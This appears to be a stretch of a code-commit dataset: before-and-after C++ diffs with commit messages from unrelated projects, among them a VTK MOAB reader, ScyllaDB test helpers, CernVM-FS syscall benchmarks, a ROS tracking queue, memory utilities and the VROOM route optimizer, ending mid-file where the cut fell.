smoab::GeomTag geom3Tag(3);\n  smoab::GeomTag geom2Tag(2);\n  smoab::GeomTag geom1Tag(1);\n  smoab::MaterialTag matTag;\n  smoab::NeumannTag neTag;\n  smoab::DirichletTag diTag;\n\n  smoab::Interface interface(this->FileName);\n  this->CreateSubBlocks(volumeRoot, &interface, &geom3Tag);\n  this->CreateSubBlocks(boundaryRoot, &interface, &geom3Tag, &geom2Tag);\n  this->CreateSubBlocks(boundaryRoot, &interface, &geom3Tag, &geom1Tag);\n\n  this->CreateSubBlocks(surfaceRoot, &interface, &geom2Tag);\n  this->CreateSubBlocks(materialRoot, &interface, &matTag);\n  this->CreateSubBlocks(neumannRoot, &interface, &neTag);\n  this->CreateSubBlocks(dirichletRoot, &interface, &diTag);\n\n  return 1;\n}\n\n\n\/\/------------------------------------------------------------------------------\nvoid vtkMoabReader::CreateSubBlocks(vtkNew<vtkMultiBlockDataSet> & root,\n                                    smoab::Interface* interface,\n                                    smoab::Tag const* parentTag,\n                                    smoab::Tag const* extractTag)\n{\n  if(!extractTag)\n    {\n    extractTag = parentTag;\n    }\n  \/\/basic premise: query the database for all tagged elements and create a new\n  \/\/multiblock elemenent for each\n  smoab::DataSetConverter converter(*interface,extractTag);\n  converter.readMaterialIds(true);\n  converter.readProperties(true);\n\n  smoab::EntityHandle rootHandle = interface->getRoot();\n  smoab::Range parents = interface->findEntityRootParents(rootHandle);\n  smoab::Range dimEnts = interface->findEntitiesWithTag(*parentTag,\n                                                       rootHandle);\n\n  smoab::Range geomParents = smoab::intersect(parents,dimEnts);\n\n  parents.clear(); \/\/remove this range as it is unneeded\n  dimEnts.clear();\n\n  \/\/now each item in range can be extracted into a different grid\n  typedef smoab::Range::iterator iterator;\n  vtkIdType index = 0;\n  for(iterator i=geomParents.begin(); i != geomParents.end(); ++i)\n    {\n    vtkNew<vtkUnstructuredGrid> block;\n    \/\/fill the dataset with geometry and properties\n    converter.fill(*i, block.GetPointer(),index);\n\n    \/\/only add it if we have cells found\n    if(block->GetNumberOfCells() > 0)\n      {\n      root->SetBlock(index,block.GetPointer());\n      std::string name = interface->name(*i);\n      if(name.size() > 0)\n        {\n        root->GetMetaData(index)->Set(vtkCompositeDataSet::NAME(), name.c_str());\n        }\n      ++index;\n      }\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid vtkMoabReader::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2017-present ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <boost\/test\/unit_test.hpp>\n\n#include \"dht\/i_partitioner.hh\"\n#include \"schema.hh\"\n#include \"sstables\/index_reader.hh\"\n#include \"reader_concurrency_semaphore.hh\"\n\nclass index_reader_assertions {\n    std::unique_ptr<sstables::index_reader> _r;\npublic:\n    index_reader_assertions(std::unique_ptr<sstables::index_reader> r)\n        : _r(std::move(r))\n    { }\n\n    index_reader_assertions& has_monotonic_positions(const schema& s) {\n        tests::reader_concurrency_semaphore_wrapper semaphore;\n        auto pos_cmp = sstables::promoted_index_block_compare(s);\n        auto rp_cmp = dht::ring_position_comparator(s);\n        auto prev = dht::ring_position::min();\n        _r->read_partition_data().get();\n        while (!_r->eof()) {\n            auto k = _r->get_partition_key();\n            auto rp = dht::ring_position(dht::decorate_key(s, k));\n\n            if (rp_cmp(prev, rp) >= 0) {\n                BOOST_FAIL(format(\"Partitions have invalid order: {} >= {}\", prev, rp));\n            }\n\n            prev = rp;\n\n            sstables::clustered_index_cursor* cur = _r->current_clustered_cursor();\n            std::optional<sstables::promoted_index_block_position> prev_end;\n            while (auto ei_opt = cur->next_entry().get0()) {\n                sstables::clustered_index_cursor::entry_info& ei = *ei_opt;\n                if (prev_end && pos_cmp(ei.start, sstables::to_view(*prev_end))) {\n                    BOOST_FAIL(format(\"Index blocks are not monotonic: {} > {}\", *prev_end, ei.start));\n                }\n                prev_end = sstables::materialize(ei.end);\n            }\n            _r->advance_to_next_partition().get();\n        }\n        return *this;\n    }\n\n    index_reader_assertions& is_empty(const schema& s) {\n        _r->read_partition_data().get();\n        while (!_r->eof()) {\n            BOOST_REQUIRE(_r->get_promoted_index_size() == 0);\n            _r->advance_to_next_partition().get();\n        }\n        return *this;\n    }\n};\n\ninline\nindex_reader_assertions assert_that(std::unique_ptr<sstables::index_reader> r) {\n    return { std::move(r) };\n}\n<commit_msg>test: lib: index_reader_assertions: close reader before it is destroyed<commit_after>\/*\n * Copyright (C) 2017-present ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <boost\/test\/unit_test.hpp>\n\n#include \"dht\/i_partitioner.hh\"\n#include \"schema.hh\"\n#include \"sstables\/index_reader.hh\"\n#include \"reader_concurrency_semaphore.hh\"\n\nclass index_reader_assertions {\n    std::unique_ptr<sstables::index_reader> _r;\npublic:\n    \/\/ Must be called from a seastar thread\n    ~index_reader_assertions() {\n        close().get();\n    }\n\n    index_reader_assertions(std::unique_ptr<sstables::index_reader> r)\n        : _r(std::move(r))\n    { }\n\n    index_reader_assertions& has_monotonic_positions(const schema& s) {\n        tests::reader_concurrency_semaphore_wrapper semaphore;\n        auto pos_cmp = sstables::promoted_index_block_compare(s);\n        auto rp_cmp = dht::ring_position_comparator(s);\n        auto prev = dht::ring_position::min();\n        _r->read_partition_data().get();\n        while (!_r->eof()) {\n            auto k = _r->get_partition_key();\n            auto rp = dht::ring_position(dht::decorate_key(s, k));\n\n            if (rp_cmp(prev, rp) >= 0) {\n                BOOST_FAIL(format(\"Partitions have invalid order: {} >= {}\", prev, rp));\n            }\n\n            prev = rp;\n\n            sstables::clustered_index_cursor* cur = _r->current_clustered_cursor();\n            std::optional<sstables::promoted_index_block_position> prev_end;\n            while (auto ei_opt = cur->next_entry().get0()) {\n                sstables::clustered_index_cursor::entry_info& ei = *ei_opt;\n                if (prev_end && pos_cmp(ei.start, sstables::to_view(*prev_end))) {\n                    BOOST_FAIL(format(\"Index blocks are not monotonic: {} > {}\", *prev_end, ei.start));\n                }\n                prev_end = sstables::materialize(ei.end);\n            }\n            _r->advance_to_next_partition().get();\n        }\n        return *this;\n    }\n\n    index_reader_assertions& is_empty(const schema& s) {\n        _r->read_partition_data().get();\n        while (!_r->eof()) {\n            BOOST_REQUIRE(_r->get_promoted_index_size() == 0);\n            _r->advance_to_next_partition().get();\n        }\n        return *this;\n    }\n\n    future<> close() noexcept {\n        if (_r) {\n            auto r = std::move(_r);\n            auto f = r->close();\n            return f.then([r = std::move(r)] {});\n        }\n        return make_ready_future<>();\n    }\n};\n\ninline\nindex_reader_assertions assert_that(std::unique_ptr<sstables::index_reader> r) {\n    return { std::move(r) };\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of the CernVM File System.\n *\/\n#include <benchmark\/benchmark.h>\n\n#include <fcntl.h>\n#include <unistd.h>\n\n#include \"bm_util.h\"\n#include \"platform.h\"\n#include \"util\/posix.h\"\n\nclass BM_Syscalls : public benchmark::Fixture {\n protected:\n  virtual void SetUp(const benchmark::State &st) {\n  }\n\n  virtual void TearDown(const benchmark::State &st) {\n  }\n};\n\nBENCHMARK_DEFINE_F(BM_Syscalls, FileOpenClose)(benchmark::State &st) {\n  while (st.KeepRunning()) {\n    int fd = open(\"\/dev\/null\", O_RDONLY);\n    close(fd);\n  }\n  st.SetItemsProcessed(st.iterations());\n  st.SetLabel(\"\/dev\/null\");\n}\nBENCHMARK_REGISTER_F(BM_Syscalls, FileOpenClose)->Repetitions(3)->\n  UseRealTime();\n\n\nBENCHMARK_DEFINE_F(BM_Syscalls, Stat)(benchmark::State &st) {\n  platform_stat64 info;\n  while (st.KeepRunning()) {\n    platform_stat(\"\/dev\/null\", &info);\n    ClobberMemory();\n  }\n  st.SetItemsProcessed(st.iterations());\n  st.SetLabel(\"\/dev\/null\");\n}\nBENCHMARK_REGISTER_F(BM_Syscalls, Stat)->Repetitions(3)->\n  UseRealTime();\n\n\n\/**\n * Command-response with 100B commands and 4k responses\n *\/\nBENCHMARK_DEFINE_F(BM_Syscalls, Pipe)(benchmark::State &st) {\n  int pipe_cmd[2];\n  int pipe_data[2];\n  MakePipe(pipe_cmd);\n  MakePipe(pipe_data);\n  switch (fork()) {\n    case -1:\n      abort();\n    case 0:\n      close(pipe_cmd[1]);\n      close(pipe_data[0]);\n      char cmd_buf[100];\n      char data_buf[4096];\n      while (true) {\n        ReadPipe(pipe_cmd[0], cmd_buf, sizeof(cmd_buf));\n        if (pipe_cmd[0] == 'Q')\n          exit(0);\n        WritePipe(pipe_data[1], data_buf, sizeof(data_buf));\n      }\n  }\n  close(pipe_cmd[0]);\n  close(pipe_data[1]);\n  char cmd_buf[100];\n  char data_buf[4096];\n  cmd_buf[0] = 'C';\n\n  while (st.KeepRunning()) {\n    WritePipe(pipe_cmd[1], cmd_buf, sizeof(cmd_buf));\n    ReadPipe(pipe_data[0], data_buf, sizeof(data_buf));\n    ClobberMemory();\n  }\n  st.SetItemsProcessed(st.iterations());\n\n  close(pipe_data[0]);\n  cmd_buf[0] = 'Q';\n  WritePipe(pipe_cmd[1], cmd_buf, sizeof(cmd_buf));\n  close(pipe_cmd[1]);\n}\nBENCHMARK_REGISTER_F(BM_Syscalls, Pipe)->Repetitions(3)->\n  UseRealTime();\n<commit_msg>additions to the micro benchmarks<commit_after>\/**\n * This file is part of the CernVM File System.\n *\/\n#include <benchmark\/benchmark.h>\n\n#include <fcntl.h>\n#include <unistd.h>\n\n#include \"bm_util.h\"\n#include \"platform.h\"\n#include \"util\/posix.h\"\n\nclass BM_Syscalls : public benchmark::Fixture {\n protected:\n  virtual void SetUp(const benchmark::State &st) {\n  }\n\n  virtual void TearDown(const benchmark::State &st) {\n  }\n};\n\nBENCHMARK_DEFINE_F(BM_Syscalls, FileOpenClose)(benchmark::State &st) {\n  while (st.KeepRunning()) {\n    int fd = open(\"\/dev\/null\", O_RDONLY);\n    close(fd);\n  }\n  st.SetItemsProcessed(st.iterations());\n  st.SetLabel(\"\/dev\/null\");\n}\nBENCHMARK_REGISTER_F(BM_Syscalls, FileOpenClose)->Repetitions(3)->\n  UseRealTime();\n\n\nBENCHMARK_DEFINE_F(BM_Syscalls, Stat)(benchmark::State &st) {\n  platform_stat64 info;\n  while (st.KeepRunning()) {\n    platform_stat(\"\/dev\/null\", &info);\n    ClobberMemory();\n  }\n  st.SetItemsProcessed(st.iterations());\n  st.SetLabel(\"\/dev\/null\");\n}\nBENCHMARK_REGISTER_F(BM_Syscalls, Stat)->Repetitions(3)->\n  UseRealTime();\n\n\nBENCHMARK_DEFINE_F(BM_Syscalls, Read)(benchmark::State &st) {\n  int fd = open(\"\/dev\/zero\", O_RDONLY);\n  unsigned size = st.range_x();\n  char *buf[size];\n  assert(fd >= 0);\n\n  while (st.KeepRunning()) {\n    SafeRead(fd, buf, size);\n    Escape(buf);\n  }\n  st.SetItemsProcessed(st.iterations());\n  st.SetBytesProcessed(int64_t(st.iterations()) * int64_t(size));\n  st.SetLabel(\"\/dev\/zero\");\n\n  close(fd);\n}\nBENCHMARK_REGISTER_F(BM_Syscalls, Read)->Repetitions(3)->\n  UseRealTime()->Arg(4096)->Arg(128*1024);\n\n\n\/**\n * Command-response with 100B commands and 4k responses\n *\/\nBENCHMARK_DEFINE_F(BM_Syscalls, Pipe)(benchmark::State &st) {\n  int pipe_cmd[2];\n  int pipe_data[2];\n  MakePipe(pipe_cmd);\n  MakePipe(pipe_data);\n  switch (fork()) {\n    case -1:\n      abort();\n    case 0:\n      close(pipe_cmd[1]);\n      close(pipe_data[0]);\n      char cmd_buf[100];\n      char data_buf[st.range_x()];\n      while (true) {\n        ReadPipe(pipe_cmd[0], cmd_buf, sizeof(cmd_buf));\n        if (pipe_cmd[0] == 'Q')\n          exit(0);\n        WritePipe(pipe_data[1], data_buf, sizeof(data_buf));\n      }\n  }\n  close(pipe_cmd[0]);\n  close(pipe_data[1]);\n  char cmd_buf[100];\n  char data_buf[st.range_x()];\n  cmd_buf[0] = 'C';\n\n  while (st.KeepRunning()) {\n    WritePipe(pipe_cmd[1], cmd_buf, sizeof(cmd_buf));\n    SafeRead(pipe_data[0], data_buf, sizeof(data_buf));\n    ClobberMemory();\n  }\n  st.SetItemsProcessed(st.iterations());\n  st.SetBytesProcessed(int64_t(st.iterations()) * int64_t(st.range_x()));\n\n\n  close(pipe_data[0]);\n  cmd_buf[0] = 'Q';\n  WritePipe(pipe_cmd[1], cmd_buf, sizeof(cmd_buf));\n  close(pipe_cmd[1]);\n}\nBENCHMARK_REGISTER_F(BM_Syscalls, Pipe)->Repetitions(3)->\n  UseRealTime()->Arg(4096)->Arg(128*1024);\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Logged more basic-block information in binary format<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <map>\n#include <ros\/console.h>\n\n#include \"AbstractCameraQueue.hpp\"\n\ntemplate <class T>\nclass TrackingQueue {\npublic:\n\tTrackingQueue();\n\t~TrackingQueue();\n\t\n\tvoid enqueue(std::vector<CameraData> data);\n\tvoid enqueue(CameraData data);\n\t\n\tsize_t getSize();\n\tstd::vector<CameraData> dequeue();\n\tbool dataAvailable();\n\t\nprivate:\n\tstd::map<int, AbstractCameraQueue*> queues;\n\tstd::vector<int> ids;\n\tint rrIndex;\n\tsize_t size;\n};\n\ntemplate <class T>\nTrackingQueue<T>::TrackingQueue()\n{\n\tsize = 0;\n\trrIndex = 0;\n}\n\ntemplate <class T>\nTrackingQueue<T>::~TrackingQueue()\n{\n\tfor (std::map<int, AbstractCameraQueue*>::iterator it = queues.begin(); it != queues.end(); it++) {\n\t\tdelete it->second;\n\t}\n}\n\ntemplate <class T>\nvoid TrackingQueue<T>::enqueue(std::vector<CameraData> data)\n{\n\tfor (std::vector<CameraData>::iterator it = data.begin(); it != data.end(); it++) {\n\t\tenqueue(*it);\n\t}\n}\n\ntemplate <class T>\nvoid TrackingQueue<T>::enqueue(CameraData data)\n{\n\tif (queues.count(data.quadcopterId) == 0) {\n\t\tqueues[data.quadcopterId] = new T(8L * 1000 * 1000 * 1000 \/ 30,\n\t\t\t\t\t\t\t\t\t\t  15L * 1000 * 1000 * 1000 \/ 30,\n\t\t\t\t\t\t\t\t\t\t  4L * 1000 * 1000 * 1000 \/ 30);\n\t\tids.push_back(data.quadcopterId);\n\t}\n\t\n\tsize++;\n\tqueues[data.quadcopterId]->enqueue(data);\n}\n\ntemplate <class T>\nsize_t TrackingQueue<T>::getSize()\n{\n\treturn size;\n}\n\ntemplate <class T>\nstd::vector<CameraData> TrackingQueue<T>::dequeue()\n{\n\tif (size == 0) {\n\t\treturn std::vector<CameraData>();\n\t}\n\t\n\tint index = rrIndex;\n\tint loopCount = 0;\n\t\n\tdo {\n\t\tindex  = (index + 1) % ids.size();\n\t\tloopCount++;\n\t\t\n\t\tif (queues[ids[index]]->dataAvailable()) {\n\t\t\tbreak;\n\t\t}\n\t} while (index != rrIndex);\n\t\n\tif (loopCount > ids.size()) {\n\t\treturn std::vector<CameraData>();\n\t} else {\n\t\trrIndex = index;\n\t\tstd::vector<CameraData> result = queues[ids[index]]->dequeue();\n\t\tsize -= result.size();\n\t\t\n\t\treturn result;\n\t}\n}\n\ntemplate <class T>\nbool TrackingQueue<T>::dataAvailable()\n{\n\tfor (std::map<int, AbstractCameraQueue*>::iterator it = queues.begin(); it != queues.end(); it++) {\n\t\tif (it->second->dataAvailable()) {\n\t\t\treturn true;\n\t\t}\n\t}\n\t\n\treturn false;\n}\n<commit_msg>Increased arrival time even further<commit_after>#pragma once\n\n#include <map>\n#include <ros\/console.h>\n\n#include \"AbstractCameraQueue.hpp\"\n\ntemplate <class T>\nclass TrackingQueue {\npublic:\n\tTrackingQueue();\n\t~TrackingQueue();\n\t\n\tvoid enqueue(std::vector<CameraData> data);\n\tvoid enqueue(CameraData data);\n\t\n\tsize_t getSize();\n\tstd::vector<CameraData> dequeue();\n\tbool dataAvailable();\n\t\nprivate:\n\tstd::map<int, AbstractCameraQueue*> queues;\n\tstd::vector<int> ids;\n\tint rrIndex;\n\tsize_t size;\n};\n\ntemplate <class T>\nTrackingQueue<T>::TrackingQueue()\n{\n\tsize = 0;\n\trrIndex = 0;\n}\n\ntemplate <class T>\nTrackingQueue<T>::~TrackingQueue()\n{\n\tfor (std::map<int, AbstractCameraQueue*>::iterator it = queues.begin(); it != queues.end(); it++) {\n\t\tdelete it->second;\n\t}\n}\n\ntemplate <class T>\nvoid TrackingQueue<T>::enqueue(std::vector<CameraData> data)\n{\n\tfor (std::vector<CameraData>::iterator it = data.begin(); it != data.end(); it++) {\n\t\tenqueue(*it);\n\t}\n}\n\ntemplate <class T>\nvoid TrackingQueue<T>::enqueue(CameraData data)\n{\n\tif (queues.count(data.quadcopterId) == 0) {\n\t\tqueues[data.quadcopterId] = new T(10L * 1000 * 1000 * 1000 \/ 30,\n\t\t\t\t\t\t\t\t\t\t  18L * 1000 * 1000 * 1000 \/ 30,\n\t\t\t\t\t\t\t\t\t\t  4L * 1000 * 1000 * 1000 \/ 30);\n\t\tids.push_back(data.quadcopterId);\n\t}\n\t\n\tsize++;\n\tqueues[data.quadcopterId]->enqueue(data);\n}\n\ntemplate <class T>\nsize_t TrackingQueue<T>::getSize()\n{\n\treturn size;\n}\n\ntemplate <class T>\nstd::vector<CameraData> TrackingQueue<T>::dequeue()\n{\n\tif (size == 0) {\n\t\treturn std::vector<CameraData>();\n\t}\n\t\n\tint index = rrIndex;\n\tint loopCount = 0;\n\t\n\tdo {\n\t\tindex  = (index + 1) % ids.size();\n\t\tloopCount++;\n\t\t\n\t\tif (queues[ids[index]]->dataAvailable()) {\n\t\t\tbreak;\n\t\t}\n\t} while (index != rrIndex);\n\t\n\tif (loopCount > ids.size()) {\n\t\treturn std::vector<CameraData>();\n\t} else {\n\t\trrIndex = index;\n\t\tstd::vector<CameraData> result = queues[ids[index]]->dequeue();\n\t\tsize -= result.size();\n\t\t\n\t\treturn result;\n\t}\n}\n\ntemplate <class T>\nbool TrackingQueue<T>::dataAvailable()\n{\n\tfor (std::map<int, AbstractCameraQueue*>::iterator it = queues.begin(); it != queues.end(); it++) {\n\t\tif (it->second->dataAvailable()) {\n\t\t\treturn true;\n\t\t}\n\t}\n\t\n\treturn false;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>fix comment and tiny optimisation for shutdown.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2015 - 2018 gtalent2@gmail.com\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#pragma once\n\n#include \"types.hpp\"\n\n#if __has_include(<cstring>)\n#include<cstring>\n#else\nextern \"C\" void *memcpy(void *dest, const void *src, std::size_t size);\n#endif\n\nint ox_memcmp(const void *ptr1, const void *ptr2, std::size_t size) noexcept;\n\nconstexpr void *ox_memcpy(void *dest, const void *src, std::size_t size) noexcept {\n\tauto srcBuf = static_cast<const char*>(src);\n\tauto dstBuf = static_cast<char*>(dest);\n\tfor (std::size_t i = 0; i < size; i++) {\n\t\tdstBuf[i] = static_cast<char>(srcBuf[i]);\n\t}\n\treturn dest;\n}\n\nconstexpr void *ox_memset(void *ptr, int val, std::size_t size) noexcept {\n\tauto buf = static_cast<uint8_t*>(ptr);\n\tfor (std::size_t i = 0; i < size; i++) {\n\t\tbuf[i] = static_cast<uint8_t>(val);\n\t}\n\treturn ptr;\n}\n<commit_msg>[ox\/std] Add memset to memops.h<commit_after>\/*\n * Copyright 2015 - 2018 gtalent2@gmail.com\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#pragma once\n\n#include \"types.hpp\"\n\n#if __has_include(<cstring>)\n#include<cstring>\n#else\nextern \"C\" {\n\nvoid *memcpy(void *dest, const void *src, std::size_t size);\n\nvoid *memset(void *ptr, int val, std::size_t size);\n\n}\n#endif\n\nint ox_memcmp(const void *ptr1, const void *ptr2, std::size_t size) noexcept;\n\nconstexpr void *ox_memcpy(void *dest, const void *src, std::size_t size) noexcept {\n\tauto srcBuf = static_cast<const char*>(src);\n\tauto dstBuf = static_cast<char*>(dest);\n\tfor (std::size_t i = 0; i < size; i++) {\n\t\tdstBuf[i] = static_cast<char>(srcBuf[i]);\n\t}\n\treturn dest;\n}\n\nconstexpr void *ox_memset(void *ptr, int val, std::size_t size) noexcept {\n\tauto buf = static_cast<uint8_t*>(ptr);\n\tfor (std::size_t i = 0; i < size; i++) {\n\t\tbuf[i] = static_cast<uint8_t>(val);\n\t}\n\treturn ptr;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nThis file is part of VROOM.\n\nCopyright (c) 2015-2019, Julien Coupey.\nAll rights reserved (see LICENSE).\n\n*\/\n\n#include <iostream>\n\n#include \"problems\/cvrp\/operators\/two_opt.h\"\n\nnamespace vroom {\nnamespace cvrp {\n\nTwoOpt::TwoOpt(const Input& input,\n               const utils::SolutionState& sol_state,\n               RawRoute& s_route,\n               Index s_vehicle,\n               Index s_rank,\n               RawRoute& t_route,\n               Index t_vehicle,\n               Index t_rank)\n  : Operator(input,\n             sol_state,\n             s_route,\n             s_vehicle,\n             s_rank,\n             t_route,\n             t_vehicle,\n             t_rank) {\n  assert(s_vehicle != t_vehicle);\n  assert(s_route.size() >= 1);\n  assert(t_route.size() >= 1);\n  assert(s_rank < s_route.size());\n  assert(t_rank < t_route.size());\n}\n\nvoid TwoOpt::compute_gain() {\n  const auto& m = _input.get_matrix();\n  const auto& v_source = _input.vehicles[s_vehicle];\n  const auto& v_target = _input.vehicles[t_vehicle];\n\n  Index s_index = _input.jobs[s_route[s_rank]].index();\n  Index t_index = _input.jobs[t_route[t_rank]].index();\n  Index last_s = _input.jobs[s_route.back()].index();\n  Index last_t = _input.jobs[t_route.back()].index();\n  stored_gain = 0;\n  Index new_last_s = last_t;\n  Index new_last_t = last_s;\n\n  \/\/ Cost of swapping route for vehicle s_vehicle after step\n  \/\/ s_rank with route for vehicle t_vehicle after step\n  \/\/ t_rank.\n\n  \/\/ Basic costs in case we really swap jobs and not only the end of\n  \/\/ the route. Otherwise remember that last job does not change.\n  if (s_rank < s_route.size() - 1) {\n    Index next_index = _input.jobs[s_route[s_rank + 1]].index();\n    stored_gain += m[s_index][next_index];\n    stored_gain -= m[t_index][next_index];\n  } else {\n    new_last_t = t_index;\n  }\n  if (t_rank < t_route.size() - 1) {\n    Index next_index = _input.jobs[t_route[t_rank + 1]].index();\n    stored_gain += m[t_index][next_index];\n    stored_gain -= m[s_index][next_index];\n  } else {\n    new_last_s = s_index;\n  }\n\n  \/\/ Handling end route cost change because vehicle ends can be\n  \/\/ different or none.\n  if (v_source.has_end()) {\n    auto end_s = v_source.end.get().index();\n    stored_gain += m[last_s][end_s];\n    stored_gain -= m[new_last_s][end_s];\n  }\n  if (v_target.has_end()) {\n    auto end_t = v_target.end.get().index();\n    stored_gain += m[last_t][end_t];\n    stored_gain -= m[new_last_t][end_t];\n  }\n\n  gain_computed = true;\n}\n\nbool TwoOpt::is_valid() {\n  bool valid = (_sol_state.bwd_skill_rank[s_vehicle][t_vehicle] <= s_rank + 1);\n\n  valid &= (_sol_state.bwd_skill_rank[t_vehicle][s_vehicle] <= t_rank + 1);\n\n  auto t_delivery = target.delivery_in_range(t_rank + 1, t_route.size());\n  auto t_pickup = target.pickup_in_range(t_rank + 1, t_route.size());\n\n  valid &= source.is_valid_addition_for_capacity_margins(_input,\n                                                         t_pickup,\n                                                         t_delivery,\n                                                         s_rank + 1,\n                                                         s_route.size());\n\n  auto s_delivery = source.delivery_in_range(s_rank + 1, s_route.size());\n  auto s_pickup = source.pickup_in_range(s_rank + 1, s_route.size());\n\n  valid &= target.is_valid_addition_for_capacity_margins(_input,\n                                                         s_pickup,\n                                                         s_delivery,\n                                                         t_rank + 1,\n                                                         t_route.size());\n\n  valid &= source.is_valid_addition_for_capacity_inclusion(_input,\n                                                           t_delivery,\n                                                           t_route.begin() +\n                                                             t_rank + 1,\n                                                           t_route.end(),\n                                                           s_rank + 1,\n                                                           s_route.size());\n\n  valid &= target.is_valid_addition_for_capacity_inclusion(_input,\n                                                           s_delivery,\n                                                           s_route.begin() +\n                                                             s_rank + 1,\n                                                           s_route.end(),\n                                                           t_rank + 1,\n                                                           t_route.size());\n\n  return valid;\n}\n\nvoid TwoOpt::apply() {\n  auto nb_source = s_route.size() - 1 - s_rank;\n\n  t_route.insert(t_route.begin() + t_rank + 1,\n                 s_route.begin() + s_rank + 1,\n                 s_route.end());\n  s_route.erase(s_route.begin() + s_rank + 1, s_route.end());\n  s_route.insert(s_route.end(),\n                 t_route.begin() + t_rank + 1 + nb_source,\n                 t_route.end());\n  t_route.erase(t_route.begin() + t_rank + 1 + nb_source, t_route.end());\n}\n\nstd::vector<Index> TwoOpt::addition_candidates() const {\n  return {s_vehicle, t_vehicle};\n}\n\nstd::vector<Index> TwoOpt::update_candidates() const {\n  return {s_vehicle, t_vehicle};\n}\n\n} \/\/ namespace cvrp\n} \/\/ namespace vroom\n<commit_msg>Header cleanup.<commit_after>\/*\n\nThis file is part of VROOM.\n\nCopyright (c) 2015-2019, Julien Coupey.\nAll rights reserved (see LICENSE).\n\n*\/\n\n#include \"problems\/cvrp\/operators\/two_opt.h\"\n\nnamespace vroom {\nnamespace cvrp {\n\nTwoOpt::TwoOpt(const Input& input,\n               const utils::SolutionState& sol_state,\n               RawRoute& s_route,\n               Index s_vehicle,\n               Index s_rank,\n               RawRoute& t_route,\n               Index t_vehicle,\n               Index t_rank)\n  : Operator(input,\n             sol_state,\n             s_route,\n             s_vehicle,\n             s_rank,\n             t_route,\n             t_vehicle,\n             t_rank) {\n  assert(s_vehicle != t_vehicle);\n  assert(s_route.size() >= 1);\n  assert(t_route.size() >= 1);\n  assert(s_rank < s_route.size());\n  assert(t_rank < t_route.size());\n}\n\nvoid TwoOpt::compute_gain() {\n  const auto& m = _input.get_matrix();\n  const auto& v_source = _input.vehicles[s_vehicle];\n  const auto& v_target = _input.vehicles[t_vehicle];\n\n  Index s_index = _input.jobs[s_route[s_rank]].index();\n  Index t_index = _input.jobs[t_route[t_rank]].index();\n  Index last_s = _input.jobs[s_route.back()].index();\n  Index last_t = _input.jobs[t_route.back()].index();\n  stored_gain = 0;\n  Index new_last_s = last_t;\n  Index new_last_t = last_s;\n\n  \/\/ Cost of swapping route for vehicle s_vehicle after step\n  \/\/ s_rank with route for vehicle t_vehicle after step\n  \/\/ t_rank.\n\n  \/\/ Basic costs in case we really swap jobs and not only the end of\n  \/\/ the route. Otherwise remember that last job does not change.\n  if (s_rank < s_route.size() - 1) {\n    Index next_index = _input.jobs[s_route[s_rank + 1]].index();\n    stored_gain += m[s_index][next_index];\n    stored_gain -= m[t_index][next_index];\n  } else {\n    new_last_t = t_index;\n  }\n  if (t_rank < t_route.size() - 1) {\n    Index next_index = _input.jobs[t_route[t_rank + 1]].index();\n    stored_gain += m[t_index][next_index];\n    stored_gain -= m[s_index][next_index];\n  } else {\n    new_last_s = s_index;\n  }\n\n  \/\/ Handling end route cost change because vehicle ends can be\n  \/\/ different or none.\n  if (v_source.has_end()) {\n    auto end_s = v_source.end.get().index();\n    stored_gain += m[last_s][end_s];\n    stored_gain -= m[new_last_s][end_s];\n  }\n  if (v_target.has_end()) {\n    auto end_t = v_target.end.get().index();\n    stored_gain += m[last_t][end_t];\n    stored_gain -= m[new_last_t][end_t];\n  }\n\n  gain_computed = true;\n}\n\nbool TwoOpt::is_valid() {\n  bool valid = (_sol_state.bwd_skill_rank[s_vehicle][t_vehicle] <= s_rank + 1);\n\n  valid &= (_sol_state.bwd_skill_rank[t_vehicle][s_vehicle] <= t_rank + 1);\n\n  auto t_delivery = target.delivery_in_range(t_rank + 1, t_route.size());\n  auto t_pickup = target.pickup_in_range(t_rank + 1, t_route.size());\n\n  valid &= source.is_valid_addition_for_capacity_margins(_input,\n                                                         t_pickup,\n                                                         t_delivery,\n                                                         s_rank + 1,\n                                                         s_route.size());\n\n  auto s_delivery = source.delivery_in_range(s_rank + 1, s_route.size());\n  auto s_pickup = source.pickup_in_range(s_rank + 1, s_route.size());\n\n  valid &= target.is_valid_addition_for_capacity_margins(_input,\n                                                         s_pickup,\n                                                         s_delivery,\n                                                         t_rank + 1,\n                                                         t_route.size());\n\n  valid &= source.is_valid_addition_for_capacity_inclusion(_input,\n                        